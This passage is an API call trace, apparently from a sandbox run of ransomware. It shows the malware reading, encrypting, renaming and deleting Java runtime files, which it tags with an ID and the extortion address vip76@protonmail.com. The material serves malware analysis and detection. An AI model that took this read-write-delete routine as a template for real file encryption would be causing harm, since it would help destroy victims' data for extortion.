	[0084.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.989] lstrlenW (lpString=".zip") returned 4
	[0084.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".rar") returned 4
	[0084.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".bz2") returned 4
	[0084.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.990] lstrlenW (lpString=".7z") returned 3
	[0084.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.990] lstrlenW (lpString=".dbf") returned 4
	[0084.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.990] lstrlenW (lpString=".1cd") returned 4
	[0084.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.990] lstrlenW (lpString=".jpg") returned 4
	[0084.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.990] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.990] lstrlenW (lpString="gstreamer-lite.dll") returned 18
	[0084.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.991] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=619584) returned 1
	[0084.991] CloseHandle (hObject=0x394) returned 1
	[0084.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20
	[0084.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.993] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.993] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.994] GetLastError () returned 0x0
	[0084.994] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x97440, lpOverlapped=0x0) returned 1
	[0085.264] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x97450, lpOverlapped=0x0) returned 1
	[0085.275] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.275] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0085.275] SetEndOfFile (hFile=0x38c) returned 1
	[0085.275] CloseHandle (hObject=0x38c) returned 1
	[0085.275] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.275] SetEndOfFile (hFile=0x394) returned 1
	[0085.281] CloseHandle (hObject=0x394) returned 1
	[0085.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.281] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1
	[0085.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.281] lstrlenW (lpString=".doc") returned 4
	[0085.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.281] lstrlenW (lpString=".docx") returned 5
	[0085.281] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0085.281] lstrlenW (lpString=".pdf") returned 4
	[0085.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.281] lstrlenW (lpString=".xls") returned 4
	[0085.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.282] lstrlenW (lpString=".xlsx") returned 5
	[0085.282] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0085.282] lstrlenW (lpString=".ppt") returned 4
	[0085.282] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.282] lstrlenW (lpString=".zip") returned 4
	[0085.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.282] lstrlenW (lpString=".rar") returned 4
	[0085.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.282] lstrlenW (lpString=".bz2") returned 4
	[0085.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.282] lstrlenW (lpString=".7z") returned 3
	[0085.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.282] lstrlenW (lpString=".dbf") returned 4
	[0085.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.282] lstrlenW (lpString=".1cd") returned 4
	[0085.282] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.282] lstrlenW (lpString=".jpg") returned 4
	[0085.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.283] lstrlenW (lpString=".doc") returned 4
	[0085.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString=".docx") returned 5
	[0085.283] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0085.283] lstrlenW (lpString=".pdf") returned 4
	[0085.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString=".xls") returned 4
	[0085.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString=".xlsx") returned 5
	[0085.283] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0085.283] lstrlenW (lpString=".ppt") returned 4
	[0085.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.283] lstrlenW (lpString=".zip") returned 4
	[0085.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString=".rar") returned 4
	[0085.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.283] lstrlenW (lpString=".bz2") returned 4
	[0085.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.283] lstrlenW (lpString=".7z") returned 3
	[0085.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.284] lstrlenW (lpString=".dbf") returned 4
	[0085.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.284] lstrlenW (lpString=".1cd") returned 4
	[0085.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0085.284] lstrlenW (lpString=".jpg") returned 4
	[0085.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.284] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0085.284] lstrlenW (lpString="java-rmi.exe") returned 12
	[0085.284] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.285] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=15936) returned 1
	[0085.285] CloseHandle (hObject=0x394) returned 1
	[0085.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20
	[0085.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.285] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.285] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.286] GetLastError () returned 0x0
	[0085.286] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x3e40, lpOverlapped=0x0) returned 1
	[0085.287] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x3e50, lpOverlapped=0x0) returned 1
	[0085.289] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.289] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.289] SetEndOfFile (hFile=0x38c) returned 1
	[0085.289] CloseHandle (hObject=0x38c) returned 1
	[0085.289] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.289] SetEndOfFile (hFile=0x394) returned 1
	[0085.290] CloseHandle (hObject=0x394) returned 1
	[0085.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.290] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.290] lstrlenW (lpString=".doc") returned 4
	[0085.290] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0085.290] lstrlenW (lpString=".docx") returned 5
	[0085.290] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1
	[0085.290] lstrlenW (lpString=".pdf") returned 4
	[0085.290] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0085.291] lstrlenW (lpString=".xls") returned 4
	[0085.291] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0085.291] lstrlenW (lpString=".xlsx") returned 5
	[0085.291] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1
	[0085.291] lstrlenW (lpString=".ppt") returned 4
	[0085.291] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.291] lstrlenW (lpString=".zip") returned 4
	[0085.291] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0085.291] lstrlenW (lpString=".rar") returned 4
	[0085.291] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0085.291] lstrlenW (lpString=".bz2") returned 4
	[0085.291] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0085.291] lstrlenW (lpString=".7z") returned 3
	[0085.291] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.291] lstrlenW (lpString=".dbf") returned 4
	[0085.291] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.291] lstrlenW (lpString=".1cd") returned 4
	[0085.291] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.291] lstrlenW (lpString=".jpg") returned 4
	[0085.291] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.291] lstrlenW (lpString=".doc") returned 4
	[0085.291] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0085.291] lstrlenW (lpString=".docx") returned 5
	[0085.291] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1
	[0085.291] lstrlenW (lpString=".pdf") returned 4
	[0085.291] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0085.292] lstrlenW (lpString=".xls") returned 4
	[0085.292] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0085.292] lstrlenW (lpString=".xlsx") returned 5
	[0085.292] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1
	[0085.292] lstrlenW (lpString=".ppt") returned 4
	[0085.292] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0085.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.292] lstrlenW (lpString=".zip") returned 4
	[0085.292] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0085.292] lstrlenW (lpString=".rar") returned 4
	[0085.292] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0085.292] lstrlenW (lpString=".bz2") returned 4
	[0085.292] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0085.292] lstrlenW (lpString=".7z") returned 3
	[0085.292] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0085.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.292] lstrlenW (lpString=".dbf") returned 4
	[0085.292] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0085.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.292] lstrlenW (lpString=".1cd") returned 4
	[0085.292] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0085.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0085.292] lstrlenW (lpString=".jpg") returned 4
	[0085.292] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0085.292] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0085.292] lstrlenW (lpString="java.dll") returned 8
	[0085.292] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.293] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=159808) returned 1
	[0085.293] CloseHandle (hObject=0x394) returned 1
	[0085.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20
	[0085.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.293] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.293] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0086.131] GetLastError () returned 0x0
	[0086.131] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x27040, lpOverlapped=0x0) returned 1
	[0086.136] WriteFile (in: hFile=0x334, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x27050, lpOverlapped=0x0) returned 1
	[0086.140] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.140] WriteFile (in: hFile=0x334, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0086.140] SetEndOfFile (hFile=0x334) returned 1
	[0086.140] CloseHandle (hObject=0x334) returned 1
	[0086.140] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.140] SetEndOfFile (hFile=0x394) returned 1
	[0086.142] CloseHandle (hObject=0x394) returned 1
	[0086.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.142] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1
	[0086.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.143] lstrlenW (lpString=".doc") returned 4
	[0086.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.143] lstrlenW (lpString=".docx") returned 5
	[0086.143] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0086.143] lstrlenW (lpString=".pdf") returned 4
	[0086.143] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.143] lstrlenW (lpString=".xls") returned 4
	[0086.143] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.143] lstrlenW (lpString=".xlsx") returned 5
	[0086.143] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0086.143] lstrlenW (lpString=".ppt") returned 4
	[0086.143] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.143] lstrlenW (lpString=".zip") returned 4
	[0086.143] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.143] lstrlenW (lpString=".rar") returned 4
	[0086.143] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.143] lstrlenW (lpString=".bz2") returned 4
	[0086.143] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.143] lstrlenW (lpString=".7z") returned 3
	[0086.143] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.143] lstrlenW (lpString=".dbf") returned 4
	[0086.143] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.143] lstrlenW (lpString=".1cd") returned 4
	[0086.143] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString=".jpg") returned 4
	[0086.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString=".doc") returned 4
	[0086.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString=".docx") returned 5
	[0086.144] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0086.144] lstrlenW (lpString=".pdf") returned 4
	[0086.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString=".xls") returned 4
	[0086.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString=".xlsx") returned 5
	[0086.144] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0086.144] lstrlenW (lpString=".ppt") returned 4
	[0086.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString=".zip") returned 4
	[0086.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString=".rar") returned 4
	[0086.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.144] lstrlenW (lpString=".bz2") returned 4
	[0086.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.144] lstrlenW (lpString=".7z") returned 3
	[0086.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString=".dbf") returned 4
	[0086.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString=".1cd") returned 4
	[0086.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0086.144] lstrlenW (lpString=".jpg") returned 4
